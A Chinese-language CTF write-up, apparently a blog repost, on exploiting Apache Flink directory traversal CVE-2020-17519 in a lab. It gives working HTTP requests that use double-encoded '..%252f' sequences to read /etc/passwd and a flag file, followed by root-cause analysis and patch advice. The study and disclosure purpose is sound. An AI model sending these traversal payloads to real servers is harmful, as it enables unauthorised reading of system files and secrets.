当前位置: 首页 > news >正文

CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

漏洞背景

CVE-2020-17519是Apache Flink 1.11.0-1.11.2版本中的高危目录遍历漏洞。攻击者可通过构造恶意路径遍历读取服务器任意文件,本文将详细演示漏洞利用过程。


环境搭建

  • 靶机环境:Apache Flink Dashboard (1.11.0)
  • 测试工具:BurpSuite Community 2023
  • 漏洞入口Job Manager功能模块(日志文件接口)

截屏2025-06-14 11.01.34

漏洞复现步骤

1. 发现漏洞入口

访问Flink Dashboard的Job Manager功能,Burp捕获请求:

GET /jobmanager/logs/ HTTP/1.1
Host: d25db443-a7db-44ea-986a-f48afb33bc23-2700.cyberstrikelab.com:83

截屏2025-06-14 11.24.57

2. 构造路径遍历Payload

尝试直接读取/etc/passwd失败:

GET /jobmanager/logs/../../../../../../etc/passwd HTTP/1.1

截屏2025-06-14 11.14.04

绕过方案
使用双重URL编码绕过路径过滤:

  • ..%252f → 第一次解码:..%2f → 第二次解码:../
  • 12级跳转回到根目录:..%252f × 12

最终Payload

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
3. 成功读取系统文件

响应返回/etc/passwd内容:

root:x:0:0:root:/root:/bin/bash
flink:x:1000:1000::/opt/flink:/bin/sh  # 关键信息!

发现用户flink及其主目录/opt/flink,推测flag可能位于此路径。

截屏2025-06-14 11.26.10

深度利用:定位flag文件

策略思路
  1. 优先级1:用户目录常见位置
    • /opt/flink/flag
    • /opt/flink/flag.txt
  2. 优先级2:临时目录
    • /tmp/flag
    • /tmp/flag.txt
  3. 优先级3:配置文件与日志
    • /opt/flink/conf/flink-conf.yaml(分析无敏感信息)
    • /opt/flink/log/*.log
成功获取flag

在尝试读取/tmp/flag.txt时成功:

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag.txt HTTP/1.1

响应内容


截屏2025-06-13 21.53.33

备注:截图中的Host是第一次成功时候的截图,之前的截图是写博客复现重新开启的靶机。(因为靶机域名是随机生成)

漏洞原理分析

  1. 根本原因
    Flink未对jobmanager/logs接口的路径参数做规范化校验,导致..%252f被双重解码为../

  2. 绕过关键
    防御层通常过滤../但忽略双重编码场景,%252f的两次解码过程:

    服务器解码
    二次解码
    %252f
    %2f
    /

修复建议

  1. 升级到Flink ≥1.11.3 或 ≥1.12.0
  2. 在代码层添加路径规范化检查:
    Paths.get(userInput).normalize().toString()
    

总结

通过本次实战我们掌握:

  1. 目录遍历漏洞的双重编码绕过技巧
  2. 系统敏感文件定位思路(/etc/passwd → 用户目录 → 临时文件)
  3. CVE-2020-17519的完整利用链

漏洞修复补丁:FLINK-21436


该博客结构清晰覆盖漏洞复现全流程,既适合CTF初学者理解漏洞原理,也为安全研究人员提供深度利用思路。如需补充截图或调整技术细节,可随时告知。

相关文章:

  • HTML+CSS 实现注册登录切换效果
  • PC 基准测试工具 3D Mark 登陆 macOS
  • 14.vue.js的watch()的注意事项(1)
  • 使用 Azure LLM Functions 与 Elasticsearch 构建更智能的查询体验
  • Go语言底层(四): 深入浅出Go语言的ants协程池
  • 痉挛性斜颈:认识颈部的 “异常挛动”
  • 基于深度学习的智能图像分类系统:从零开始构建
  • 深度学习中的激活函数:PyTorch中的ReLU及其应用
  • 【Linux】初见,进程概念
  • React 性能优化实战指南:从理论到实践的完整攻略
  • 【项目实训#07】HarmonyOS API知识图谱构建与系统知识图谱后端实现
  • 固件签名技术深度解析:HSM模块如何守护设备安全,CAS系统如何赋能产业升级
  • Linux 线程深度解析:从内存管理到线程控制的核心机制
  • 替换一个数字后的最大差值
  • MySQL-DML语句深度解析与实战指南
  • Python3安装MySQL-python踩坑实录:从报错到完美解决的实战指南
  • Linux学习笔记:PCIe内核篇(1):初始化与枚举流程
  • 设计模式精讲 Day 1:单例模式(Singleton Pattern)
  • Hive SQL执行流程深度解析:从CLI入口到执行计划生成
  • 《Kafka 在实时消息系统中的高可用架构设计》
  • 做网站团队的人员安排/企业网站开发制作
  • 开封专业做网站公司/百度一下你就知道下载安装
  • 长沙网站设计流程/手机营销软件
  • 做淘宝客网站一定要备案吗/软文范例100例
  • 电子商务网站建设网/网络舆情监控
  • 住房和城乡建设网站/nba最新排名公布